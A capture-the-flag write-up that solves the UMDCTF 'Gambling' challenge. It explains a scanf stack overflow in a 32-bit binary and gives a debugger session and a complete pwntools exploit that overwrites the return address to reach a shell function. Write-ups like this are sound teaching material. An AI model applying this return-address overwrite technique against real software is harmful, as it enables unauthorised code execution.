Post

UMDCTF Gambling CTF WriteUp

UMDCTF Gambling CTF WriteUp

UMDCTF Gambling pwn challenge


About binary

1
2
3
4
5
6
7
8
9
pwn checksec gambling
[*] '/home/hacker/REPO/binexp/comp/umdctf/gambling/gambling'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    FORTIFY:  Enabled


Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

float rand_float() {
  return (float)rand() / RAND_MAX;
}

void print_money() {
	system("/bin/sh");
}

void gamble() {
	float f[4];
	float target = rand_float();
	printf("Enter your lucky numbers: ");
	scanf(" %lf %lf %lf %lf %lf %lf %lf", f,f+1,f+2,f+3,f+4,f+5,f+6);
	if (f[0] == target || f[1] == target || f[2] == target || f[3] == target || f[4] == target || f[5] == target || f[6] == target) { 
		printf("You win!\n");
		// due to economic concerns, we're no longer allowed to give out prizes.
		// print_money();
	} else {
		printf("Aww dang it!\n");
	}
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

	char buf[20];
	srand(420);
	while (1) {
		gamble();
		getc(stdin); // consume newline
		printf("Try again? ");
		fgets(buf, 20, stdin);
		if (strcmp(buf, "no.\n") == 0) {
			break;
		}
	}
}
Vulnerability
1
2
float f[4];
scanf(" %lf %lf %lf %lf %lf %lf %lf", f,f+1,f+2,f+3,f+4,f+5,f+6);

This is a buffer overflow vulnerability. A array of the the data type float with the size of only 4 elements

float = 4 bytes float * 4 = 16 bytes only 16 bytes was created in the stack.

Now here is where the vulnerability is. scanf is used to get input, but it is implemented incorrectly, it takes input of 7 doubles

double = 8 bytes double * 7 = 56 bytes user can input 56 bytes which will cause a overflow


Exploitation path

  1. Find the offset to instruction pointer.
  2. Find the address that the instruction pointer will point to print_money
  3. Overwrite instruction pointer and call print_money

Offset

since the binary takes input as double we need to interpret bytes as doubles

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

pattern = cyclic(200)

doubles = []
for i in range(0, len(pattern), 8):
    chunk = pattern[i:i+8]
    # pad to 8 bytes 
    if len(chunk) < 8:
        chunk = chunk.ljust(8, b'\x00')
    # reinterpret raw bytes as a double
    value = struct.unpack('d', chunk)[0]
    doubles.append(value)

# print 7 doubles
print(doubles[:7])

Output

1
2
3
 python offset.py 
1.2217649168290121e+161 1.2217670620782814e+161 1.2217692073275507e+161 1.22177135257682e+161 1.2217734978260893e+161 1.2217756430753586e+161 1.221777788324628e+161

Use a debugger to find the offset to eip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
gdb ./gambling -q
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11

warning: ~/gef.py: No such file or directory
Reading symbols from ./gambling...
(No debugging symbols found in ./gambling)
gef➤  r
Starting program: /home/hacker/REPO/binexp/comp/umdctf/gambling/gambling 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your lucky numbers: 1.2217649168290121e+161 1.2217670620782814e+161 1.2217692073275507e+161 1.22177135257682e+161 1.2217734978260893e+161 1.2217756430753586e+161 1.221777788324628e+161

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xd       
$ebx   : 0xffffd0bc  →  0xf7fc14b0  →  0xf7d7e000  →  0x464c457f
$ecx   : 0xf7f9c9b8  →  0x00000000
$edx   : 0x1       
$esp   : 0xffffd0b0  →  0xf7fc14b0  →  0xf7d7e000  →  0x464c457f
$ebp   : 0xffffd0d8  →  0x00000000
$esi   : 0x0804bf10  →  0x08049260  →  <__do_global_dtors_aux+0000> endbr32 
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x6161616e ("naaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
─────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0b0│+0x0000: 0xf7fc14b0  →  0xf7d7e000  →  0x464c457f	 ← $esp
0xffffd0b4│+0x0004: 0xf7fd97db  →   mov edi, eax
0xffffd0b8│+0x0008: 0xf7d9aa4f  →  "_dl_audit_preinit"
0xffffd0bc│+0x000c: 0xf7fc14b0  →  0xf7d7e000  →  0x464c457f
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xd       
$ebx   : 0xffffd0bc  →  0xf7fc14b0  →  0xf7d7e000  →  0x464c457f
$ecx   : 0xf7f9c9b8  →  0x00000000
$edx   : 0x1       
$esp   : 0xffffd0b0  →  0xf7fc14b0  →  0xf7d7e000  →  0x464c457f
$ebp   : 0xffffd0d8  →  0x00000000
$esi   : 0x0804bf10  →  0x08049260  →  <__do_global_dtors_aux+0000> endbr32 
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x6161616e ("naaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
─────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0b0│+0x0000: 0xf7fc14b0  →  0xf7d7e000  →  0x464c457f	 ← $esp
0xffffd0b4│+0x0004: 0xf7fd97db  →   mov edi, eax
0xffffd0b8│+0x0008: 0xf7d9aa4f  →  "_dl_audit_preinit"
0xffffd0bc│+0x000c: 0xf7fc14b0  →  0xf7d7e000  →  0x464c457f
0xffffd0c0│+0x0010: 0xffffd100  →  0xf7f9aff4  →  0x0021cd8c
0xffffd0c4│+0x0014: 0xf7fc1688  →  0xf7ffdbbc  →  0xf7fc17a0  →  0xf7ffda50  →  0x00000000
0xffffd0c8│+0x0018: 0xf7fc1b70  →  0xf7d9d2dc  →  "GLIBC_PRIVATE"
0xffffd0cc│+0x001c: 0x00000001
───────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6161616e
───────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "gambling", stopped 0x6161616e in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────
gef➤  pattern search $eip
[+] Searching for '6e616161'/'6161616e' with period=4
[+] Found at offset 52 (little-endian search) likely
gef➤  


Offset = 52

  1. Open binary in debugger
  2. run binary
  3. enter input from python
  4. search for eip [instruction pointer]

Address to print_money function

1
2
3
rabin2 -s gambling | grep print_money
25  0x000012c0 0x080492c0 GLOBAL FUNC   17       print_money

addr = 0x080492c0

Build exploit script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import struct

# function to change interpret bytes as double
def to_double(payload):
    doubles = []
    for i in range(0, len(payload), 8):
        chunk = payload[i:i+8]
        # pad to 8 bytes 
        if len(chunk) < 8:
            chunk = chunk.ljust(8, b'\x00')
        # reinterpret raw bytes as a double
        value = struct.unpack('d', chunk)[0]
        doubles.append(value)
    return doubles


offset = 52 
ret_addr =  0x080492c0 # print_money

payload = b"A"*offset + p32(ret_addr) # pack address to 32 bit 
exploit = to_double(payload)

p = process("./gambling")
# recv and packet into single space separeted string
p.sendlineafter('Enter your lucky numbers:', " ".join(str(d) for d in exploit))
p.interactive()

Got Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
python exploit.py
[+] Starting local process './gambling': pid 18489
/home/hacker/REPO/binexp/comp/umdctf/gambling/asfd.py:26: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter('Enter your lucky numbers:', " ".join(str(d) for d in exploit))
/usr/lib/python3/dist-packages/pwnlib/tubes/tube.py:823: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
 Aww dang it!
$ whoami
hacker
$  


This post is licensed under CC BY 4.0 by the author.

Trending Tags